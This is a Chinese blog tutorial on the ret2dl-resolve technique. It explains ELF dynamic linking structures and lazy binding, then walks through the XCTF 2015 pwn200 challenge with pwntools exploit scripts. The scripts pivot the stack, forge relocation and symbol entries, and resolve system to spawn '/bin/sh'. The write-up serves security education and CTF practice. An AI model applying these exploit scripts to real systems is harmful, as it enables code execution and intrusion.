Linux Pwn - 栈溢出与ROP(五)

ret2dl-resolve

该技术在How The ELF Ruined Christmas中被提出。随着安全防御机制的不断完善,现代的漏洞利用通常包含两个阶段:

  1. 通过信息泄露获得程序的内存布局
  2. 进行实际的漏洞利用

从程序中泄露出内存布局并不一定都可靠,而ret2dl-resolve巧妙利用了ELF格式以及动态装载器的弱点,不需要进行信息泄露就可用直接标识关键函数的位置并调用

原理

动态链接符号解析

动态链接符号解析(重定向)的过程可以简单的描述为_dl_runtime_resolve(link_map_obj, reloc_index)函数执行的过程,涉及相关段与数据结构大体如图所示:

  • .rel.plt:用于导出函数的重定位,由Elf_Rel结构体构成
  • .dynsym:存储符号信息,由Elf_Sym结构体构成
  • .dynstr:存储符号名称

当程序导入一个函数时,动态链接器会在.dynstr段中添加符号名,并在.dynsym段中添加相应的Elf_Sym,同时又在.rel.plt中添加相应的Elf_Rel。最后Elf_Rel结构中的Elf_Rel.r_offset构成了got表保存在.got.plt段中

将如下示例编译成32位程序

1
2
3
4
5
6
7
8
// gcc main.c -o hello -g -m32
#include <stdio.h>
int main(void)
{
printf("Hello ");
puts("World!");
return 0;
}

查看段如下;

1
2
3
4
5
6
7
8
9
10
11
pwn@ubuntu:~/workspace/stackoverflow/ret2-resolve$ readelf -d hello 

Dynamic section at offset 0xf14 contains 24 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
...
0x00000005 (STRTAB) 0x804822c
0x00000006 (SYMTAB) 0x80481cc
...
0x00000017 (JMPREL) 0x80482b4
...
ELF JMPREL Relocation Table

ELF JMPREL 重定位表由Elf_Rel结构组成,32位版本如下:

1
2
3
4
typedef struct {
Elf32_Addr r_offset; // 对应got表地址
Elf32_Word r_info; // r_info >> 8 对应 ELF Symbol Table 的索引
} Elf32_Rel;

该结构体大小为6字节,但在内存中,该结构是以8字节对齐

1
2
3
4
5
6
7
LOAD:080482AC ; ELF REL Relocation Table
LOAD:080482AC Elf32_Rel <8049FFCh, 306h> ; R_386_GLOB_DAT __gmon_start__
LOAD:080482B4 ; ELF JMPREL Relocation Table
LOAD:080482B4 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT printf
LOAD:080482BC Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT puts
LOAD:080482C4 Elf32_Rel <804A014h, 407h> ; R_386_JMP_SLOT __libc_start_main
LOAD:080482C4 LOAD ends
1
2
3
4
gdb-peda$ x/32wx 0x80482b4
0x80482b4: 0x0804a00c 0x00000107 0x0804a010 0x00000207
0x80482c4: 0x0804a014 0x00000407 0x08ec8353 0x00009be8
...
ELF Symbol Table

ELF符号表由Elf32_Sym结构组成,32位版本如下:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; // 对应 ELF String Table 的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; // 类型
unsigned char st_other;
Elf32_Section st_shndx;
} Elf32_Sym;

该结构以16字节对齐

1
2
3
4
5
6
7
8
9
LOAD:080481CC ; ELF Symbol Table
LOAD:080481CC Elf32_Sym <0>
LOAD:080481DC Elf32_Sym <offset aPrintf - offset byte_804822C, 0, 0, 12h, 0, 0> ; "printf"
LOAD:080481EC Elf32_Sym <offset aPuts - offset byte_804822C, 0, 0, 12h, 0, 0> ; "puts"
LOAD:080481FC Elf32_Sym <offset aGmonStart - offset byte_804822C, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:0804820C Elf32_Sym <offset aLibcStartMain - offset byte_804822C, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:0804820C 0>
LOAD:0804821C Elf32_Sym <offset aIoStdinUsed - offset byte_804822C, \ ; "_IO_stdin_used"
LOAD:0804821C offset _IO_stdin_used, 4, 11h, 0, 10h>
1
2
3
4
5
6
7
8
gdb-peda$ x/32wx 0x80481cc
0x80481cc: 0x00000000 0x00000000 0x00000000 0x00000000
0x80481dc: 0x0000001f 0x00000000 0x00000000 0x00000012
0x80481ec: 0x0000001a 0x00000000 0x00000000 0x00000012
0x80481fc: 0x00000038 0x00000000 0x00000000 0x00000020
0x804820c: 0x00000026 0x00000000 0x00000000 0x00000012
0x804821c: 0x0000000b 0x080484fc 0x00000004 0x00100011
...
ELF String Table

包含对应符号名称,例如:

1
2
3
4
5
6
7
8
9
10
11
LOAD:0804822C ; ELF String Table
LOAD:0804822C byte_804822C db 0 ; DATA XREF: LOAD:080481DC↑o
LOAD:0804822C ; LOAD:080481EC↑o ...
LOAD:0804822D aLibcSo6 db 'libc.so.6',0 ; DATA XREF: LOAD:0804828C↓o
LOAD:08048237 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:0804821C↑o
LOAD:08048246 aPuts db 'puts',0 ; DATA XREF: LOAD:080481EC↑o
LOAD:0804824B aPrintf db 'printf',0 ; DATA XREF: LOAD:080481DC↑o
LOAD:08048252 aLibcStartMain db '__libc_start_main',0
LOAD:08048252 ; DATA XREF: LOAD:0804820C↑o
LOAD:08048264 aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:080481FC↑o
LOAD:08048273 aGlibc20 db 'GLIBC_2.0',0 ; DATA XREF: LOAD:0804829C↓o
1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x/10s 0x804822c
0x804822c: ""
0x804822d: "libc.so.6"
0x8048237: "_IO_stdin_used"
0x8048246: "puts"
0x804824b: "printf"
0x8048252: "__libc_start_ma"...
0x8048261: "in"
0x8048264: "__gmon_start__"
0x8048273: "GLIBC_2.0"
...

延迟绑定

在调用导入函数时才进行符号解析,并将获取到的函数地址写回got表中,这样在下次调用时就直接调用函数,其过程如下:

例如在示例程序中调用printf时,首先跳转到其plt表上,plt表项上前6字节是一个无条件跳转,跳转到对应的got表项上,而got表项上此时填写的是对应plt表项的第二条指令地址处,故这里是等价于从plt的第二条指令开始执行

接着压入对应Elf_Rel结构在.rel.plt中的偏移(在内存中此结构是8字节对齐),然后跳转到**PLT[0]**,此处有两条指令:

  1. 压栈**GOT[1]**处保存的link_map_obj对象地址
  2. 跳转到**GOT[2]**处的_dl_runtime_resolve

函数_dl_runtime_resolve调用_dl_fixupreloc_index指定的符号信息进行解析,获取函数地址并反填回对应的got表

_dl_fixup函数位于elf/dl-runtime.c中,可参考:dl-runtime.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
  DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]); // 获取 .dynsym
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); // 获取 .dynstr
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 获取 Elf_Rel
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 获取 Elf_Sym
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); // 获取对应got地址
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
...
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, // 查找对应的动态库,返回基址指针
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
...
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value); // 获取函数真实地址
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); // 回填got表项中
}

攻击方式

_dl_runtime_resolve(link_map_obj, reloc_index)中,系统并不会验证reloc_index的取值范围,那么变可以通过伪造一个reloc_index指向一段可写的内存,在上面构造后续所需要的各种结构,便可以控制后续符号解析时将意图调用的真实函数替换为需要的假函数

XCTF 2015:pwn200

该题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";

setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}

step1:stack pivoting

利用stack pivoting,转移栈并在新栈上构造调用write函数的布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# steack pivoting
# 0x080485cc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop_3_reg_pop_ebp = 0x080485cc
# 0x08048481 : leave ; ret
leave_ret = 0x08048481

bss_addr = e.get_section_by_name(".bss").header.sh_addr + 0x700
payload1 = offset * "A" + \
p32(read_plt) + p32(pop_3_reg_pop_ebp) + p32(0) + p32(bss_addr) + p32(100) + \
p32(bss_addr) + p32(leave_ret)
p.send(payload1)

# 1. 直接调用
write(1, "/bin/sh", 8)
payload2 = "A" * 4 + p32(write_plt) + p32(0xcccccccc) + p32(1) + p32(bss_addr + 0x58) + p32(8)
payload2 = payload2.ljust(0x58, "A") + "/bin/sh\x00"
p.send(payload2)
print(p.recv())

# 2. jmp write@plt,
# plt_0 = e.get_section_by_name(".plt").header.sh_addr
# reloc_index = 0x20 # write reloc_index
# payload3 = "A" * 4 + p32(plt_0) + p32(reloc_index) + p32(0xcccccccc) + p32(1) + p32(bss_addr + 0x58) + p32(8)
# payload3 = payload2.ljust(0x58, "A") + "/bin/sh\x00"
# p.send(payload3)
# print(p.recv())

step2:伪造write@plt

需要在新栈上构造Elf_RelElf_Sym以及.dynstr中的字符串,具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# fake str
st_name = bss_addr + 56 - e.get_section_by_name(".dynstr").header.sh_addr
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf)

# fake Elf_Sym
fake_elf_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
r_sym = (bss_addr + 40 - e.get_section_by_name(".dynsym").header.sh_addr) / 0x10
r_type = 0x7

# fake Elf_Rel
r_offset = write_got
# 0804a010 00000507 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
r_info = (r_sym << 8) + (r_type & 0xff)
fake_elf_rel = p32(r_offset) + p32(r_info)
plt_0 = e.get_section_by_name(".plt").header.sh_addr
reloc_index = bss_addr + 7 * 4 - e.get_section_by_name(".rel.plt").header.sh_addr # write reloc_index (fake)

payload4 = "A" * 4 + p32(plt_0) + p32(reloc_index) + p32(0xcccccccc) + p32(1) + p32(bss_addr + 0x58) + p32(8)
payload4 += fake_elf_rel # append fake Elf_Rel => bss_addr + 28
payload4 += "A" * 4 + fake_elf_sym # append fake Elf_Sym => bss_addr + 40
payload4 += "write\x00" # fake str => bss_addr + 56
payload4 = payload4.ljust(0x58, "A") + "/bin/sh\x00"
p.send(payload4)
print(p.recv())

step3:替换write为system

"write\x00"替换为"system\x00",并调整参数布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

p = process("./pwn200")
e = ELF("./pwn200")

# gdb.attach(p)

read_plt = e.plt["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
log.info("read plt => %s" % hex(read_plt))
log.info("write plt => %s" % hex(write_plt))
log.info("write got => %s" % hex(write_got))

p.recvline()

offset = 112

# steack pivoting
# 0x080485cc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop_3_reg_pop_ebp = 0x080485cc
# 0x08048481 : leave ; ret
leave_ret = 0x08048481

bss_addr = e.get_section_by_name(".bss").header.sh_addr + 0x700
payload1 = offset * "A" + \
p32(read_plt) + p32(pop_3_reg_pop_ebp) + p32(0) + p32(bss_addr) + p32(100) + \
p32(bss_addr) + p32(leave_ret)
p.send(payload1)

# fake str
st_name = bss_addr + 56 - e.get_section_by_name(".dynstr").header.sh_addr
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf)

# fake Elf_Sym
fake_elf_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
r_sym = (bss_addr + 40 - e.get_section_by_name(".dynsym").header.sh_addr) / 0x10
r_type = 0x7

# fake Elf_Rel
r_offset = write_got
# 0804a010 00000507 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
r_info = (r_sym << 8) + (r_type & 0xff)
fake_elf_rel = p32(r_offset) + p32(r_info)
plt_0 = e.get_section_by_name(".plt").header.sh_addr
reloc_index = bss_addr + 7 * 4 - e.get_section_by_name(".rel.plt").header.sh_addr # write reloc_index (fake)

payload4 = "A" * 4 + p32(plt_0) + p32(reloc_index) + p32(0xcccccccc) + p32(bss_addr + 0x58) + p32(0xcccccccc) + p32(0xcccccccc)
payload4 += fake_elf_rel # append fake Elf_Rel => bss_addr + 28
payload4 += "A" * 4 + fake_elf_sym # append fake Elf_Sym => bss_addr + 40
payload4 += "system\x00" # fake str => bss_addr + 56
payload4 = payload4.ljust(0x58, "A") + "/bin/sh\x00"
p.send(payload4)
p.interactive()

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021 lzeroyuee
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信